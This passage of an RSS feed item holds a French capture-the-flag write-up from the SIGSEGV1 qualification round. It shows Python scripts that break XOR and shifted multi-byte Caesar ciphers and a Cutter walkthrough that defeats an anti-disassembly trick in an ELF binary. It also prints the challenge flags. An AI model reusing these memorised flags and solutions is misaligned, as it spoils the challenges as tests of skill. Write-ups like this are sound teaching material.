</span><span class="sc4">&lsquo;\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc1">#&rsquo;\x1b\x1d\x0a\x1f\x5b&rsquo;</span><span class="sc0"><br />
</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc11">pw</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] Ref is %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">blocks</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">])-</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">pw</span><span class="sc10">)+</span><span class="sc2">1</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] At pos %d&rsquo;</span> <span class="sc10">%</span> <span class="sc11">i</span><span class="sc0"><br />
</span><span class="sc11">pk</span> <span class="sc10">=</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pw</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] PK = %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b2</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">b</span><span class="sc10">==</span><span class="sc11">b2</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">continue</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b2</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4"> »</span><span class="sc0"><br />
</span></p>
<h2>Cryptographie : Un nouveau dialecte (ShrewkRoot)</h2>
<div><b>Description :</b> Nous avons trouvé un nouveau dialecte, analysez-le pour retrouver ce qu&rsquo;il signifie:<br />
<span class="w-inline-code">ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ</span>Avant de se lancer à l&#8217;emporte pièce, il est important de noter qu&rsquo;il s&rsquo;agit ici de caractères multi-bytes. Une méthode simple pour traduire ces derniers consiste à utiliser hexdump :</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/js % <span class="w-cli">echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C</span><br />
00000000 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b9 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b5 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 86 <span class="w-grepped">c8</span> 8b |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000010 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> 97 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000020 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> a0 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> 99 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000030 <span class="w-grepped">c7</span> 96 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 <span class="w-grepped">c7</span> 99 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 95 <span class="w-grepped">c8</span> 8d |&#8230;&#8230;&#8230;&#8230;..|<br />
0000003e</span><br />
On constate alors rapidement que les caractères s&rsquo;écrivent sur deux octets, et qu&rsquo;ils se présentent tous sous les forme <b>c7 xx</b> ou <b>c8 yy</b>. Par ailleurs, en supposant que le texte décodé commence par <b>sigsegv{</b>, on remarque que :</p>
<ul>
<li>La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s&rsquo;agit donc probablement d&rsquo;une substitution monoalphabétique</li>
<li>La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée <b>c7 b5</b> et <b>c7 b7</b> : le décalage entre deux lettres est constant, il s&rsquo;agit probablement d&rsquo;une variante du chiffre de César</li>
</ul>
<div>Par conséquent, connaissant le clair et le chiffré pour une lettre de chaque encodage (<b>c7 xx</b> et <b>c8 yy</b>), il est facile de coder un programme qui réalisera la traduction pour nous :</div>
<div><span class="w-code"><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc1"># No multibyte string in Python&#8230;</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc1"># Compute shift from « sigsegv{&#8230;.} »</span><span class="sc0"><br />
</span><span class="sc11">dec1</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;s&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">dec2</span> <span class="sc10">=</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">*</span><span class="sc2">2</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc4">&lsquo;i&rsquo;</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="w-code"><span class="sc1"># Apply unshift</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">=</span> <span class="sc4"> »</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc2">0</span><span class="sc10">,</span> <span class="sc11">len</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">),</span> <span class="sc2">2</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">])==</span><span class="sc2">0xc8</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec1</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">else</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">sol</span> <span class="sc10">+=</span> <span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">+</span><span class="sc2">1</span><span class="sc10">])-</span><span class="sc11">dec2</span><span class="sc10">)</span></span></span><br />
<span class="w-code"><span class="sc5">print</span> <span class="sc11">sol</span></span><br />
L&rsquo;exécution fournit le flag suivant : <span class="w-inline-code">sigsegv{LASTEGACESTPASSIFACILE}</span>.</p>
<h2>Reverse : antistrings (x0rz)</h2>
</div>
<div>
<p>Description : Faites-moi confiance, XOR n&rsquo;est pas la solution.</p>
<div style="text-align: justify;">Le challenge se présente sous la forme d&rsquo;un binaire ELF 64-bit <i>strippé</i>. Ce writeup utilisera <b>Cutter</b>, l&rsquo;interface graphique de <b>Radare2</b>. Les première étapes sont assez simples, puisque la fonction <b>main </b>ne possède qu&rsquo;un appel à une autre fonction :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png"><img decoding="async" src="https://4.bp.blogspot.com/-jcZwKYrbErg/W8iFR7piBII/AAAAAAAAAkM/7FCtPAAJrj49BoNPi7OszNMpfjz41bvmQCLcBGAs/s1600/5_1.png" border="0" data-original-height="166" data-original-width="445" /></a></div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: justify;">Si l&rsquo;on tente d&rsquo;afficher le graphe de la fonction située à <b>0x004009e0</b>, l&rsquo;erreur suivante se produit :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png" border="0" data-original-height="551" data-original-width="524" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">Il s&rsquo;agit là d&rsquo;une technique anti-reverse, que l&rsquo;on peut observer plus en détails dans l&rsquo;affichage linéaire de Cutter :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png"><img decoding="async" src="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png" border="0" data-original-height="182" data-original-width="446" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ci-dessous le détail des instructions :</div>
<div style="text-align: justify;"></div>
<ul>
<li><i>push rax</i> : sauvegarde la valeur courante de RAX sur la pile</li>
<li><i>xor eax, eax</i> : remet la valeur de EAX à 0</li>
<li><i>test eax, eax</i> : teste si la valeur de EAX est nulle et fixe le flag Z à 1</li>
<li><i>pop rax</i> : récupère la valeur sauvegardée de RAX depuis la pile</li>
<li><i>jne 0x4009ee</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 0 (non pris)</li>
<li><i>je 0x4009ef</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 1 (pris)</li>
</ul>
<div>Seulement, les instructions à l&rsquo;adresse <b>0x4009ef </b>ne sont pas désassemblées puisqu&rsquo;une instruction <b>jmp </b>commence à l&rsquo;octet précédent. Le saut à l&rsquo;octet précédent n&rsquo;étant jamais emprunté, il est possible d&rsquo;ignorer cette instruction et de demander le désassemblage à partir de <b>0x4009ef</b>.</div>
<div>Pour cela, un clic-droit à l&rsquo;adresse <b>0x4009ee </b>fait apparaître le menu suivant :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png"><img decoding="async" src="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png" border="0" data-original-height="166" data-original-width="481" /></a></div>
<div></div>
<div>Il est alors possible d&rsquo;observer le code qui devrait être normalement exécuté :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png"><img decoding="async" src="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png" border="0" data-original-height="78" data-original-width="353" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d&rsquo;identifier la fonction qui gère le flag, <b>sub.BB_7c2</b>. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png"><img decoding="async" src="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png" border="0" data-original-height="384" data-original-width="404" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div>Le flag récupéré est alors <span class="w-inline-code">sigsegv{W3llPl4y3d}</span>.</div>
</div>
<p>&nbsp;</p>
<div style="text-align: right;"><b><span style="color: #351c75;">Jean MARSAULT</span></b></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
